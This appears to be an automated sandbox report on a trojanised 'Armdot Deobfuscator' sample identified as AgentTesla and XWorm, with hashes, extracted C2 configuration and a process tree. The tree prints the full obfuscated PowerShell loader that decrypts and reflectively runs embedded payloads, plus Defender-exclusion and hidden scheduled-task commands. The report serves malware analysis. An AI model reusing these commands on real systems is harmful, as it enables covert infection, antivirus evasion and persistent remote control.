agenttesla | 8edfb7ccc0bfe7beb2861ccaa3680f2bb8964f710d379630d3802c1daf94d46d

Analysis

max time kernel
15s
max time network
17s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/09/2024, 19:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

skibidi armdot/Armdot Deobfuscator.exe
Size

275KB
MD5

c4a8904f29c5672da081a5330718d414
SHA1

3ad3cd5a5282f972ffabb32ccf4e1e48046cf115
SHA256

fe3d17a9089e89239bf3249f4d5ad077ca8e5d51bbff4598653681e621967cd8
SHA512

62ff900942e4637b458cd12f830a9dfde08a4aa47052e4521d8357ad8c38b44c5dee9156b78980a13fd28a1b95c239c26933ec484eff24c098517900ec3d5698
SSDEEP

6144:49viKRu0lfe2udI3UflLdGCh+gDt39/PyMrMycwljWXCw:4huQREf9d5b3B1rMejW

Score

10^/10

agenttesla xworm discovery execution keylogger rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

127.0.0.1:58347

continue-silk.gl.at.ply.gg:58347

Mutex

KMhtquBvrnZVYr5C

Attributes

Install_directory
%LocalAppData%
install_file
svchost.exe

aes.plain

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1524-82-0x0000000007230000-0x0000000007240000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral1/memory/3624-108-0x0000000005800000-0x0000000005A14000-memory.dmp	family_agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	1524	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe
2840	powershell.exe
1524	powershell.exe
936	powershell.exe
4580	powershell.exe
3292	powershell.exe
1904	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Armdot Deobfuscator.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
3624	Armdot Deobf.exe
4956	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Armdot Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Armdot Deobf.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Armdot Deobf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Armdot Deobf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Armdot Deobf.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3948	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2796	powershell.exe
2796	powershell.exe
2840	powershell.exe
2840	powershell.exe
1524	powershell.exe
1524	powershell.exe
4580	powershell.exe
4580	powershell.exe
4580	powershell.exe
3292	powershell.exe
3292	powershell.exe
3292	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeIncreaseQuotaPrivilege	2840	powershell.exe
Token: SeSecurityPrivilege	2840	powershell.exe
Token: SeTakeOwnershipPrivilege	2840	powershell.exe
Token: SeLoadDriverPrivilege	2840	powershell.exe
Token: SeSystemProfilePrivilege	2840	powershell.exe
Token: SeSystemtimePrivilege	2840	powershell.exe
Token: SeProfSingleProcessPrivilege	2840	powershell.exe
Token: SeIncBasePriorityPrivilege	2840	powershell.exe
Token: SeCreatePagefilePrivilege	2840	powershell.exe
Token: SeBackupPrivilege	2840	powershell.exe
Token: SeRestorePrivilege	2840	powershell.exe
Token: SeShutdownPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeSystemEnvironmentPrivilege	2840	powershell.exe
Token: SeRemoteShutdownPrivilege	2840	powershell.exe
Token: SeUndockPrivilege	2840	powershell.exe
Token: SeManageVolumePrivilege	2840	powershell.exe
Token: 33	2840	powershell.exe
Token: 34	2840	powershell.exe
Token: 35	2840	powershell.exe
Token: 36	2840	powershell.exe
Token: SeIncreaseQuotaPrivilege	2840	powershell.exe
Token: SeSecurityPrivilege	2840	powershell.exe
Token: SeTakeOwnershipPrivilege	2840	powershell.exe
Token: SeLoadDriverPrivilege	2840	powershell.exe
Token: SeSystemProfilePrivilege	2840	powershell.exe
Token: SeSystemtimePrivilege	2840	powershell.exe
Token: SeProfSingleProcessPrivilege	2840	powershell.exe
Token: SeIncBasePriorityPrivilege	2840	powershell.exe
Token: SeCreatePagefilePrivilege	2840	powershell.exe
Token: SeBackupPrivilege	2840	powershell.exe
Token: SeRestorePrivilege	2840	powershell.exe
Token: SeShutdownPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeSystemEnvironmentPrivilege	2840	powershell.exe
Token: SeRemoteShutdownPrivilege	2840	powershell.exe
Token: SeUndockPrivilege	2840	powershell.exe
Token: SeManageVolumePrivilege	2840	powershell.exe
Token: 33	2840	powershell.exe
Token: 34	2840	powershell.exe
Token: 35	2840	powershell.exe
Token: 36	2840	powershell.exe
Token: SeIncreaseQuotaPrivilege	2840	powershell.exe
Token: SeSecurityPrivilege	2840	powershell.exe
Token: SeTakeOwnershipPrivilege	2840	powershell.exe
Token: SeLoadDriverPrivilege	2840	powershell.exe
Token: SeSystemProfilePrivilege	2840	powershell.exe
Token: SeSystemtimePrivilege	2840	powershell.exe
Token: SeProfSingleProcessPrivilege	2840	powershell.exe
Token: SeIncBasePriorityPrivilege	2840	powershell.exe
Token: SeCreatePagefilePrivilege	2840	powershell.exe
Token: SeBackupPrivilege	2840	powershell.exe
Token: SeRestorePrivilege	2840	powershell.exe
Token: SeShutdownPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeSystemEnvironmentPrivilege	2840	powershell.exe
Token: SeRemoteShutdownPrivilege	2840	powershell.exe
Token: SeUndockPrivilege	2840	powershell.exe
Token: SeManageVolumePrivilege	2840	powershell.exe
Token: 33	2840	powershell.exe
Token: 34	2840	powershell.exe
Token: 35	2840	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 5048	3640	Armdot Deobfuscator.exe	86
PID 3640 wrote to memory of 5048	3640	Armdot Deobfuscator.exe	86
PID 3640 wrote to memory of 5048	3640	Armdot Deobfuscator.exe	86
PID 5048 wrote to memory of 2796	5048	cmd.exe	88
PID 5048 wrote to memory of 2796	5048	cmd.exe	88
PID 5048 wrote to memory of 2796	5048	cmd.exe	88
PID 2796 wrote to memory of 2840	2796	powershell.exe	91
PID 2796 wrote to memory of 2840	2796	powershell.exe	91
PID 2796 wrote to memory of 2840	2796	powershell.exe	91
PID 2796 wrote to memory of 1588	2796	powershell.exe	96
PID 2796 wrote to memory of 1588	2796	powershell.exe	96
PID 2796 wrote to memory of 1588	2796	powershell.exe	96
PID 1588 wrote to memory of 2416	1588	WScript.exe	97
PID 1588 wrote to memory of 2416	1588	WScript.exe	97
PID 1588 wrote to memory of 2416	1588	WScript.exe	97
PID 2416 wrote to memory of 1524	2416	cmd.exe	99
PID 2416 wrote to memory of 1524	2416	cmd.exe	99
PID 2416 wrote to memory of 1524	2416	cmd.exe	99
PID 1524 wrote to memory of 3624	1524	powershell.exe	101
PID 1524 wrote to memory of 3624	1524	powershell.exe	101
PID 1524 wrote to memory of 3624	1524	powershell.exe	101
PID 1524 wrote to memory of 4956	1524	powershell.exe	102
PID 1524 wrote to memory of 4956	1524	powershell.exe	102
PID 1524 wrote to memory of 4580	1524	powershell.exe	106
PID 1524 wrote to memory of 4580	1524	powershell.exe	106
PID 1524 wrote to memory of 4580	1524	powershell.exe	106
PID 1524 wrote to memory of 3292	1524	powershell.exe	108
PID 1524 wrote to memory of 3292	1524	powershell.exe	108
PID 1524 wrote to memory of 3292	1524	powershell.exe	108

C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobfuscator.exe
"C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobfuscator.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DOc3nipEl2XDEOoyt8uqWZvNOcXRjizn9euxlyyuvFQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G6lWis9l5D59OtU9N9g1tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zjjtk=New-Object System.IO.MemoryStream(,$param_var); $JQmKf=New-Object System.IO.MemoryStream; $FuKPR=New-Object System.IO.Compression.GZipStream($zjjtk, [IO.Compression.CompressionMode]::Decompress); $FuKPR.CopyTo($JQmKf); $FuKPR.Dispose(); $zjjtk.Dispose(); $JQmKf.Dispose(); $JQmKf.ToArray();}function execute_function($param_var,$param2_var){ $UZFhw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OFNvW=$UZFhw.EntryPoint; $OFNvW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat';$TYZoP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat').Split([Environment]::NewLine);foreach ($wSyuQ in $TYZoP) { if ($wSyuQ.StartsWith(':: ')) { $cOnxP=$wSyuQ.Substring(3); break; }}$payloads_var=[string[]]$cOnxP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_478_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_478.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2840
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_478.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1588
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_478.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2416
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DOc3nipEl2XDEOoyt8uqWZvNOcXRjizn9euxlyyuvFQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G6lWis9l5D59OtU9N9g1tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zjjtk=New-Object System.IO.MemoryStream(,$param_var); $JQmKf=New-Object System.IO.MemoryStream; $FuKPR=New-Object System.IO.Compression.GZipStream($zjjtk, [IO.Compression.CompressionMode]::Decompress); $FuKPR.CopyTo($JQmKf); $FuKPR.Dispose(); $zjjtk.Dispose(); $JQmKf.Dispose(); $JQmKf.ToArray();}function execute_function($param_var,$param2_var){ $UZFhw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OFNvW=$UZFhw.EntryPoint; $OFNvW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_478.bat';$TYZoP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_478.bat').Split([Environment]::NewLine);foreach ($wSyuQ in $TYZoP) { if ($wSyuQ.StartsWith(':: ')) { $cOnxP=$wSyuQ.Substring(3); break; }}$payloads_var=[string[]]$cOnxP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1524
        
        C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobf.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:3624
        
        C:\Users\Admin\AppData\Local\Temp\skibidi armdot\cmd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\skibidi armdot\cmd.exe"
        7⤵
        Executes dropped EXE
        
        PID:4956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3292
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\svchost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:936
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\svchost.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
2c7cde2ed7394ca3062f62ce0dc04b19

SHA1
9cc4ea0f0d808bfaca4a6d15e78352aca10dbf51

SHA256
5b80c72c56433aa99d64d4a885ddfc769039ec841d388c6157f002fa1c2bcc70

SHA512
828d3fdb7236ee9bb3b7d1738bc39e1d34b2b01f4ceba059df18b81ca756c41c5baddeb597b21109da532b71b507ab38bad360de64b158076ef97a4ecbcac802

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
8acdafe5fb541ceee9f846c454539a9c

SHA1
912152a840ecd07a1655e90723ac8c8eb94f0cbe

SHA256
84333595811f3726c18d4672473dd4f9f2807fe025207ce6e5a5261b623a0f51

SHA512
ed3c222cc4e1d350234b8a5ed63c2962181782f32a912e4d2c9bdd1a3e1236b263cc1c264dff0dc0ed5d21e09c4161d18af95209d7c18c6ce3df7a1908ef3617

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
6bb4044698d7b1a11ea86fc8c05484e3

SHA1
320ce2de657897f1ddb0b3a29f212fc53679d431

SHA256
cac9c42a71c0610e8bcc380173058f626c3d7e0851fc6a4d5a215fc816786c26

SHA512
255aa6cf5b8db8c80b4e83ee87fc35b036be542a4e581ac9338cd41bd3ef1b7def16feccdb9d85795de469003f168d2377dae6eb172b36a6c8fe36239073a059

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
06b7aef1c4db15abb98dbb455f6538ba

SHA1
6722a5e28e816151f7e9d079a1f45f13b6e98060

SHA256
6cc58cd4efcdd866f3582df5e806d380c7e86da408bdec82c75cd302a538b5a7

SHA512
136c454a3515aec714dc8581d41888434261d97738e51df29b83fc0ba5e3a97932487eef18450ff857a37bd55e6e33caada785f06a01c2a6c720c35b59373023

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5km1itfy.l0s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat

Filesize
270KB

MD5
93905103e6c447670d2dfbfb1c21a17d

SHA1
d9f74375d0496a6e559a069a5584e837aa2e8213

SHA256
463be845c5735d6af2f2eadb7d5f5c0c376f90b395828e114679f6a75b3fea28

SHA512
9461a05990a89cc731b3fcff29eb1d70c38b1ce7f87d52c49ae31b198d27ec872102d567ef352ec65acd0abb140e495bc2a35ca5738ff44d582a05e0f5ca86e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobf.exe

Filesize
22KB

MD5
e949a85cefc515f6d281a64a322e575a

SHA1
05cbb24ee6b77d47ed6b839d446d60c8bc9ffe83

SHA256
66ae316114440dc776171193df2af2ce768a3da53b84759ad72209d3ecd73274

SHA512
a4a047bbbe8383601db9bfe0b6390559032ba475ce8bb6790720c18b1577c4bd7831f68d69fac6f14721d651d84316d740ef0dc58a2ba34f31870ba9957193f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\skibidi armdot\cmd.exe

Filesize
316KB

MD5
428cec6b0034e0f183eb5bae887be480

SHA1
7140caf2a73676d1f7cd5e8529db861f4704c939

SHA256
3f6aa206177bebb29fc534c587a246e0f395941640f3f266c80743af95a02150

SHA512
509b8c138c4928524b4830488a96bd7e4bc7db2c494b10c68e1edcf7d901879126168eaa6635818d29734540f8400e376e5716a3b4dc052cba4e267bbaad7253

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_478.vbs

Filesize
115B

MD5
81ecdb4bd09be33480bc1d3f47e9d30a

SHA1
41c5c8bd3f950db969f8128212ceee73895be64f

SHA256
0cec544977823cec6a873a0ef7ae2a9aab8b93e99d913644f15d76e5ad996987

SHA512
14eed8fe932a81addf82e219164b07230f412fa74bcb4ad655b49dfd251344971fa6e05a501266160537d4383813364660f87065a7c0e9164a758a23f2e4b256

Download Submit
memory/936-188-0x00000000702B0000-0x00000000702FC000-memory.dmp

Filesize
304KB

Download
memory/1524-83-0x00000000072E0000-0x000000000737C000-memory.dmp

Filesize
624KB

Download
memory/1524-82-0x0000000007230000-0x0000000007240000-memory.dmp

Filesize
64KB

Download
memory/1904-167-0x00000000702B0000-0x00000000702FC000-memory.dmp

Filesize
304KB

Download
memory/2796-7-0x0000000005800000-0x0000000005E28000-memory.dmp

Filesize
6.2MB

Download
memory/2796-10-0x0000000005EA0000-0x0000000005F06000-memory.dmp

Filesize
408KB

Download
memory/2796-24-0x0000000006920000-0x000000000693A000-memory.dmp

Filesize
104KB

Download
memory/2796-23-0x0000000007B90000-0x000000000820A000-memory.dmp

Filesize
6.5MB

Download
memory/2796-25-0x0000000006950000-0x0000000006958000-memory.dmp

Filesize
32KB

Download
memory/2796-26-0x0000000007560000-0x00000000075C2000-memory.dmp

Filesize
392KB

Download
memory/2796-27-0x0000000008210000-0x00000000087B4000-memory.dmp

Filesize
5.6MB

Download
memory/2796-21-0x0000000006360000-0x000000000637E000-memory.dmp

Filesize
120KB

Download
memory/2796-20-0x0000000005F20000-0x0000000006274000-memory.dmp

Filesize
3.3MB

Download
memory/2796-22-0x0000000006380000-0x00000000063CC000-memory.dmp

Filesize
304KB

Download
memory/2796-9-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/2796-8-0x0000000005590000-0x00000000055B2000-memory.dmp

Filesize
136KB

Download
memory/2796-6-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2796-109-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2796-5-0x0000000002E60000-0x0000000002E96000-memory.dmp

Filesize
216KB

Download
memory/2796-84-0x000000007449E000-0x000000007449F000-memory.dmp

Filesize
4KB

Download
memory/2796-85-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2796-4-0x000000007449E000-0x000000007449F000-memory.dmp

Filesize
4KB

Download
memory/2840-53-0x00000000073B0000-0x0000000007453000-memory.dmp

Filesize
652KB

Download
memory/2840-29-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2840-55-0x0000000007770000-0x0000000007806000-memory.dmp

Filesize
600KB

Download
memory/2840-56-0x00000000076E0000-0x00000000076F1000-memory.dmp

Filesize
68KB

Download
memory/2840-59-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2840-52-0x0000000007330000-0x000000000734E000-memory.dmp

Filesize
120KB

Download
memory/2840-36-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2840-30-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2840-54-0x0000000007550000-0x000000000755A000-memory.dmp

Filesize
40KB

Download
memory/2840-41-0x0000000007370000-0x00000000073A2000-memory.dmp

Filesize
200KB

Download
memory/2840-42-0x00000000702B0000-0x00000000702FC000-memory.dmp

Filesize
304KB

Download
memory/3292-146-0x00000000702B0000-0x00000000702FC000-memory.dmp

Filesize
304KB

Download
memory/3624-108-0x0000000005800000-0x0000000005A14000-memory.dmp

Filesize
2.1MB

Download
memory/3624-107-0x0000000004F20000-0x0000000004F2A000-memory.dmp

Filesize
40KB

Download
memory/3624-106-0x0000000004D60000-0x0000000004DF2000-memory.dmp

Filesize
584KB

Download
memory/3624-105-0x00000000004B0000-0x00000000004BC000-memory.dmp

Filesize
48KB

Download
memory/4580-129-0x00000000074F0000-0x0000000007593000-memory.dmp

Filesize
652KB

Download
memory/4580-134-0x0000000007880000-0x0000000007888000-memory.dmp

Filesize
32KB

Download
memory/4580-133-0x0000000007890000-0x00000000078AA000-memory.dmp

Filesize
104KB

Download
memory/4580-132-0x0000000007850000-0x0000000007864000-memory.dmp

Filesize
80KB

Download
memory/4580-131-0x0000000007840000-0x000000000784E000-memory.dmp

Filesize
56KB

Download
memory/4580-130-0x0000000007810000-0x0000000007821000-memory.dmp

Filesize
68KB

Download
memory/4580-119-0x00000000702B0000-0x00000000702FC000-memory.dmp

Filesize
304KB

Download